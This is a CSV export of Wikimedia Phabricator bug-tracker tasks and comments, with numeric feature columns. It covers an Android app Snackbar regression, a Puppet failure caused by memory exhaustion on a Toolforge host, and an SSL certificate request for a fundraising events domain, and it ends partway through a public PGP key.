107577,"Regression: after NavigationView patch, Login and Logout no longer shows Snackbar upon success.",,High,80.0,1438351440,1439819021.0,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-USER-pbvnfgskfwsdalhpd7np,False,PHID-TASK-4r3irvxoo3usvhphsy7d,task_description,resolved,True,c3,3,True,True,True,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,nan
504376,"Regression: after NavigationView patch, Login and Logout no longer shows Snackbar upon success.",Checked with 2.0.108-alpha-2015-08-07 on Nexus5(Android 5.1) - Logged in successfully!/Logged out are properly displayed in Snackbar.,,,1438983985,,PHID-USER-4alekd35in5tg53zpsl4,False,,,PHID-TASK-4r3irvxoo3usvhphsy7d,task_subcomment,,True,c3,3,False,,,5,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,21.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,21.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.916666666666667,0.8333333333333334,Checked with 2.0.108-alpha-2015-08-07 on Nexus5(Android 5.1) - Logged in successfully!/Logged out are properly displayed in Snackbar.
500440,"Regression: after NavigationView patch, Login and Logout no longer shows Snackbar upon success.","Change 228253 merged by jenkins-bot:
Correctly show Snackbar when logging in and out.

[[https://gerrit.wikimedia.org/r/228253]]",,,1438374790,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4r3irvxoo3usvhphsy7d,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,12.0,3.75,0.9166666666666666,"Change 228253 merged by jenkins-bot:
Correctly show Snackbar when logging in and out.

[[GERRIT_URL]]"
500169,"Regression: after NavigationView patch, Login and Logout no longer shows Snackbar upon success.","Change 228253 had a related patch set uploaded (by Dbrant):
Correctly show Snackbar when logging in and out.

[[https://gerrit.wikimedia.org/r/228253]]
",,,1438351680,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-4r3irvxoo3usvhphsy7d,task_subcomment,,True,c3,3,False,,,4,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,10.0,3.7586206896551726,0.896551724137931,"Change 228253 had a related patch set uploaded (by Dbrant):
Correctly show Snackbar when logging in and out.

[[GERRIT_URL]]
"
107350,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""","On `tools-webgrid-lighttpd-1408`, Puppet fails with:

```
scfc@tools-webgrid-lighttpd-1408:~$ sudo puppet agent -tv
Info: Retrieving plugin
Info: Loading facts in /var/lib/puppet/lib/facter/root_home.rb
Info: Loading facts in /var/lib/puppet/lib/facter/physicalcorecount.rb
Info: Loading facts in /var/lib/puppet/lib/facter/ganeti.rb
Info: Loading facts in /var/lib/puppet/lib/facter/labsproject.rb
Info: Loading facts in /var/lib/puppet/lib/facter/puppet_vardir.rb
Info: Loading facts in /var/lib/puppet/lib/facter/initsystem.rb
Info: Loading facts in /var/lib/puppet/lib/facter/apt.rb
Info: Loading facts in /var/lib/puppet/lib/facter/puppet_config_dir.rb
Info: Loading facts in /var/lib/puppet/lib/facter/lldp.rb
Info: Loading facts in /var/lib/puppet/lib/facter/ec2id.rb
Info: Loading facts in /var/lib/puppet/lib/facter/pe_version.rb
Error: Could not retrieve catalog from remote server: Error 400 on SERVER: Failed to determined $::labsproject at /etc/puppet/manifests/realm.pp:14 on node tools-webgrid-lighttpd-1408.tools.eqiad.wmflabs
Warning: Not using cache on failed catalog
Error: Could not retrieve catalog; skipping run
Error: Could not run command from postrun_command: Cannot allocate memory - fork(2)
scfc@tools-webgrid-lighttpd-1408:~$ free -m
             total       used       free     shared    buffers     cached
Mem:          7985       7763        221        444        142       6255
-/+ buffers/cache:       1365       6619
Swap:          487          0        487
scfc@tools-webgrid-lighttpd-1408:~$
```

The ""SERVER:"" prefix makes me think that this could be a memory shortage on the Labs puppet master and not a local problem.",High,80.0,1438206222,1438213471.0,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-p55d7dcp7bfvyj3joie7,task_description,resolved,True,c3,3,True,False,True,3,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,20.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,17.0,2.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,10.0,7.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,3.317073170731707,0.8048780487804879,"On CODE, Puppet fails with:

``CODE``

The ""SERVER:"" prefix makes me think that this could be a memory shortage on the Labs puppet master and not a local problem."
499268,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""",A reboot seems to have cheered it up.,,,1438213471,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-p55d7dcp7bfvyj3joie7,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,A reboot seems to have cheered it up.
499260,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""","Although

# facter -p labsproject
tools

works fine",,,1438213106,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-p55d7dcp7bfvyj3joie7,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2727272727272725,0.9090909090909091,"Although

# facter -p labsproject
tools

works fine"
499256,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""","This is because

# facter -p
Error: Cannot allocate memory - /usr/sbin/dmidecode 2>/dev/null

I don't know what that's about, though -- it certainly isn't happening on the master.",,,1438212992,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-p55d7dcp7bfvyj3joie7,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,7.0,2.0,2.0,2.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,9.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,5.0,7.0,9.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.522727272727273,0.8863636363636364,"This is because

# facter -p
Error: Cannot allocate memory - /usr/sbin/dmidecode 2>/dev/null

I don't know what that's about, though -- it certainly isn't happening on the master."
499196,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""","(Semi-related side note: Labs instances run Puppet twice per hour.  I don't remember if there was ever a requirement for that, i. e. a situation where someone waited 35 minutes after a Puppet change was merged to ensure its deployment instead of waiting 65 minutes or running `salt`.  So if the load/memory on `labscontrol1001` is an issue, doubling the interval at which Puppet is run on Labs instances would halve the consumed capacities while keeping configuration changes within an (IMHO) acceptable time frame.)",,,1438207854,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-p55d7dcp7bfvyj3joie7,task_subcomment,,True,c3,3,True,,,3,True,0.0,1.0,0.0,2.0,1.0,5.0,1.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,6.0,12.0,1.0,1.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,8.0,4.0,11.0,4.0,1.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,12.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,4.0,0.0,0.0,0.0,4.19,0.78,"(Semi-related side note: Labs instances run Puppet twice per hour.  I don't remember if there was ever a requirement for that, i. e. a situation where someone waited 35 minutes after a Puppet change was merged to ensure its deployment instead of waiting 65 minutes or running CODE.  So if the load/memory on CODE is an issue, doubling the interval at which Puppet is run on Labs instances would halve the consumed capacities while keeping configuration changes within an (IMHO) acceptable time frame.)"
499195,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""","(Semi-related side note: Labs instances run Puppet twice per hour.  I don't remember if there was ever a requirement for that, i. e. a situation where someone waited 35 minutes after a Puppet change was merged to ensure its deployment instead of waiting 65 minutes or running `salt`.  So if the load/memory on `labscontrol1001` is an issue, doubling the interval at which Puppet is run on Labs instances would halve the consumed capacities while keeping configuration changes within an (IMHO) acceptable time frame.",,,1438207836,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-p55d7dcp7bfvyj3joie7,task_subcomment,,True,c3,3,True,,,3,True,0.0,1.0,0.0,2.0,1.0,5.0,1.0,0.0,0.0,2.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,6.0,12.0,1.0,1.0,0.0,1.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,0.0,3.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,8.0,4.0,11.0,4.0,1.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,12.0,10.0,0.0,0.0,0.0,2.0,0.0,2.0,5.0,0.0,4.0,0.0,0.0,0.0,4.222222222222222,0.7878787878787878,"(Semi-related side note: Labs instances run Puppet twice per hour.  I don't remember if there was ever a requirement for that, i. e. a situation where someone waited 35 minutes after a Puppet change was merged to ensure its deployment instead of waiting 65 minutes or running CODE.  So if the load/memory on CODE is an issue, doubling the interval at which Puppet is run on Labs instances would halve the consumed capacities while keeping configuration changes within an (IMHO) acceptable time frame."
499187,"Puppet run fails on tools-webgrid-lighttpd-1408 with ""Failed to determined $::labsproject""","According to http://ganglia.wikimedia.org/latest/graph_all_periods.php?c=Virtualization%20cluster%20eqiad&h=labcontrol1001.wikimedia.org&r=hour&z=small&jr=&js=&st=1438207296&v=3338788&m=mem_free&vl=KB&ti=Free%20Memory&z=large, `labscontrol1001` never had more than 48.25 MByte (!) of free memory since May?!",,,1438207459,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-p55d7dcp7bfvyj3joie7,task_subcomment,,True,c3,3,True,,,3,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,20.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,5.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,20.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,3.45,0.95,According to URL CODE never had more than 48.25 MByte (!) of free memory since May?!
107059,SSL cert needed for new fundraising events domain,"Major Gifts is setting up a new event invitation and payment processing tool through Trilogy Interactive (see related tasks for more info: T101191, T104357).

Trilogy is helping to set up new pages for us at events.wikimedia.org and eventdonations.wikimedia.org, and want to know who they should contact about an SSL certificate. The donate.wikimedia.org has a wildcard SSL cert, so we could conceivably use that for the events site, but want to confirm this with Ops. 

**EDIT: We are fine with WMF purchashing a new cert as well. The domain is eventdonations.wikimedia.org**

",High,80.0,1438019707,1438704529.0,PHID-USER-uxp3hc4banddtiwz6xrp,True,PHID-USER-almbmuy6a3hcls7c2zdl,True,PHID-TASK-iuxar6fq7z6tngslwilp,task_description,resolved,True,c3,3,True,False,True,3,True,0.0,0.0,0.0,0.0,0.0,5.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.5,1.5,3.0,9.0,0.0,2.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,5.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.5,5.5,3.0,11.0,1.0,2.5,7.5,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.0,9.0,10.0,0.0,0.0,0.0,3.0,0.0,0.5,3.0,0.5,2.0,0.5,0.0,0.0,4.492255892255892,0.807070707070707,"Major Gifts is setting up a new event invitation and payment processing tool through Trilogy Interactive (see related tasks for more info: T101191, T104357).

Trilogy is helping to set up new pages for us at events.wikimedia.org and eventdonations.wikimedia.org, and want to know who they should contact about an SSL certificate. The donate.wikimedia.org has a wildcard SSL cert, so we could conceivably use that for the events site, but want to confirm this with Ops. 

**EDIT: We are fine with WMF purchashing a new cert as well. The domain is eventdonations.wikimedia.org**

"
501874,SSL cert needed for new fundraising events domain,"Thanks, @bblack. The cert is now in place.",,,1438704505,,PHID-USER-almbmuy6a3hcls7c2zdl,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5454545454545454,0.9090909090909091,"Thanks,SCREEN_NAME. The cert is now in place."
501803,SSL cert needed for new fundraising events domain,@ewilfong_WMF - cert/key info sent via email.  Please respond there if there any technical issues with accessing the data...,,,1438697735,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,8.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.333333333333333,0.9583333333333334,SCREEN_NAME - cert/key info sent via email.  Please respond there if there any technical issues with accessing the data...
501518,SSL cert needed for new fundraising events domain,"I would want to leave it up for one week post-event, to allow for donations
that inevitably trickle in during the days following the event, but it
would be fine with me to take it down after that.  We will likely not need
it again until the 15th Birthday celebrations in January.



Caitlin Virtue
Director of Development
Wikimedia Foundation
(415) 839-6885 x6733
cvirtue@wikimedia.org
www.wikimediafoundation.org

*Imagine a world in which every single human being can freely share in the
sum of all knowledge. That's our commitment. Donate.
<https://donate.wikimedia.org/>*",,,1438642903,,PHID-USER-kwzt7y73f6hl6xs7vo2p,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,False,,,4,True,1.5,0.0,0.0,0.0,0.5,2.5,0.5,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.5,0.0,3.5,10.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,1.5,0.5,1.5,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,2.0,0.0,0.5,0.0,0.0,0.0,8.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,0.5,11.0,0.0,0.5,7.0,0.0,0.0,0.0,0.0,5.5,0.0,4.0,0.0,4.5,10.5,8.0,0.0,0.0,0.0,4.5,1.0,1.5,1.0,0.5,0.5,0.0,0.0,1.0,4.077586206896552,0.7758620689655172,"I would want to leave it up for one week post-event, to allow for donations
that inevitably trickle in during the days following the event, but it
would be fine with me to take it down after that.  We will likely not need
it again until the 15th Birthday celebrations in January.



Caitlin Virtue
Director of Development
Wikimedia Foundation
(415) 839-6885 x6733
cvirtue@wikimedia.org
www.wikimediafoundation.org

*Imagine a world in which every single human being can freely share in the
sum of all knowledge. That's our commitment. Donate.
<URL"
501510,SSL cert needed for new fundraising events domain,"Thanks for this and for resolving T107060 @BBlack. If I can get you information on changing to https sooner than 10/7, I will.

> I'm still a bit worried about the timeline here. We don't have firm deadlines, but presenting a plan on Oct 7 doesn't mean being ready to make the switch on Oct 7.

I see your concern. This may be an ignorant question, but would it be theoretically possible for us to take the benefactorevents.wikimedia.org page down after the event on 10/1, and not put it back up until the SSL cert is in place? I will have to confirm with @CaitVirtue that this works for her, but if every other subdomain is https at that point, that could be a temporary solution.
",,,1438641815,,PHID-USER-uxp3hc4banddtiwz6xrp,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,1.0,0.0,0.0,0.0,1.0,3.0,3.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,14.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,3.5,0.5,1.5,1.0,1.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.5,3.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,6.0,2.5,3.0,8.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,6.5,14.5,2.5,1.0,0.0,0.0,6.5,0.0,1.0,1.5,1.5,1.0,0.5,0.0,0.0,4.138788098693759,0.8479680696661829,"Thanks for this and for resolving T107060SCREEN_NAME. If I can get you information on changing to https sooner than 10/7, I will.

QUOTE

I see your concern. This may be an ignorant question, but would it be theoretically possible for us to take the benefactorevents.wikimedia.org page down after the event on 10/1, and not put it back up until the SSL cert is in place? I will have to confirm withSCREEN_NAME that this works for her, but if every other subdomain is https at that point, that could be a temporary solution.
"
501489,SSL cert needed for new fundraising events domain,"Cert is ordered, waiting for issue",,,1438639712,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,True,,,PHID-TASK-iuxar6fq7z6tngslwilp,task_subcomment,,True,c3,3,True,,,4,True,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,4.142857142857143,1.0,"Cert is ordered, waiting for issue"
501165,SSL cert needed for new fundraising events domain,"Sure. Here's my public PGP key:


```
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: Encryption Desktop 10.3.2 (Build 15917) - not licensed for commercial use: www.pgp.com

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
